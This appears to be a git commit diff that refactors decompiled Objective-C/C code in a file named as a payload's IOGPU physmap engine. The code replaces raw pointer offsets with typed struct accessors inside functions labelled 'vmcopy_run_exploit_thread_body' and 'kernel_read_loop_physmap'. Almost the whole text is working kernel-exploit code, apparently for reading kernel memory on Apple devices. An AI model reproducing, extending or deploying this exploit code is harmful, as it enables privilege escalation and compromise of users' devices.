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Type physmap read result access

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khanhduytran0
2026-06-18 15:44:35 +07:00
parent 75cef2ac1a
commit 394fd8ddc6
1 changed files with 17 additions and 10 deletions
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src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.m
+17 -10
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@@ -460,6 +460,11 @@ _Static_assert(sizeof(PhysmapReadResult) == 688, "PhysmapReadResult size mismatc
#undef VMCOPY_ASSERT_OFFSET #undef VMCOPY_ASSERT_OFFSET
static inline PhysmapReadResult *physmap_read_result_at(uint64_t state, uint64_t index)
{
return (PhysmapReadResult *)(state + 16 + sizeof(PhysmapReadResult) * index);
}
static inline __int64 vmcopy_run_exploit_thread_body( static inline __int64 vmcopy_run_exploit_thread_body(
__int64 *state, __int64 *state,
thread_act_t *targetThread, thread_act_t *targetThread,
@@ -5903,7 +5908,7 @@ LABEL_36:
LABEL_40: LABEL_40:
*(uint64_t *)v271 = v27; *(uint64_t *)v271 = v27;
arc4random_buf((void *)(v4 + 13584), 8u); arc4random_buf((void *)(v4 + 13584), 8u);
arc4random_buf((void *)(v4 + 13592), 8u); arc4random_buf(&((PhysmapLoopState *)v4)->marker, 8u);
v28 = *(uint64_t *)(v4 + 13448); v28 = *(uint64_t *)(v4 + 13448);
v10 = 708609; v10 = 708609;
if ( !v28 ) if ( !v28 )
@@ -5986,11 +5991,12 @@ LABEL_50:
v10 = v31 | 0x80000000; v10 = v31 | 0x80000000;
goto LABEL_51; goto LABEL_51;
} }
v31 = kernel_read_loop_physmap(v5, v4, 0x10u, v4 + 688 * v30 + 16); PhysmapReadResult *activeResult = physmap_read_result_at(v4, v30);
v31 = kernel_read_loop_physmap(v5, v4, 0x10u, (__int64)activeResult);
if ( v31 ) if ( v31 )
goto LABEL_50; goto LABEL_50;
get_page_size(); get_page_size();
v294 = (int8x8_t *)(v4 + 688 * v30 + 16); v294 = (int8x8_t *)activeResult;
v32 = physmap_read_rebuild_page((uint64_t *)v4, v294); v32 = physmap_read_rebuild_page((uint64_t *)v4, v294);
if ( !(uint32_t)v32 ) if ( !(uint32_t)v32 )
break; break;
@@ -6012,12 +6018,13 @@ LABEL_100:
v264 = *(uint64_t *)(v4 + 13432); v264 = *(uint64_t *)(v4 + 13432);
v266 = *(unsigned int *)(v4 + 13544); v266 = *(unsigned int *)(v4 + 13544);
v259 = (mach_port_t *)(v4 + 4 * v30 + 13480); v259 = (mach_port_t *)(v4 + 4 * v30 + 13480);
v34 = v4 + 688 * v30; PhysmapReadResult *scanResult = physmap_read_result_at(v4, v30);
v281 = (unsigned int *)(v34 + 48); v34 = (__int64)scanResult - 16;
v281 = &scanResult->pageCount;
v276 = -(int)v266; v276 = -(int)v266;
v10 = 708620; v10 = 708620;
v35 = (uint64_t *)(v4 + 13592); v35 = &((PhysmapLoopState *)v4)->marker;
kobject = v34 + 40; kobject = (__int64)&scanResult->processedPageMask;
do do
{ {
a1[0] = 0; a1[0] = 0;
@@ -6089,7 +6096,7 @@ LABEL_89:
{ {
LABEL_87: LABEL_87:
v46 = *v45; v46 = *v45;
v35 = (uint64_t *)(v4 + 13592); v35 = &((PhysmapLoopState *)v4)->marker;
v42 = *v281; v42 = *v281;
goto LABEL_88; goto LABEL_88;
} }
@@ -6133,7 +6140,7 @@ LABEL_85:
v42 = *v281; v42 = *v281;
v10 = 708625; v10 = 708625;
v304 = v52; v304 = v52;
v35 = (uint64_t *)(v4 + 13592); v35 = &((PhysmapLoopState *)v4)->marker;
LABEL_92: LABEL_92:
v45 = (int8x8_t *)kobject; v45 = (int8x8_t *)kobject;
LABEL_93: LABEL_93:
@@ -6260,7 +6267,7 @@ LABEL_195:
if ( ((1LL << v80) & *(uint64_t *)&v83) == 0 ) if ( ((1LL << v80) & *(uint64_t *)&v83) == 0 )
{ {
v85 = (uint64_t *)(*(uint64_t *)v64 + (unsigned int)((uint32_t)v80 << v73)); v85 = (uint64_t *)(*(uint64_t *)v64 + (unsigned int)((uint32_t)v80 << v73));
if ( *v85 != *(uint64_t *)(v4 + 13592) ) if ( *v85 != ((PhysmapLoopState *)v4)->marker )
{ {
v86 = *(uint32_t *)(v5 + 384); v86 = *(uint32_t *)(v5 + 384);
if ( v72 < v86 ) if ( v72 < v86 )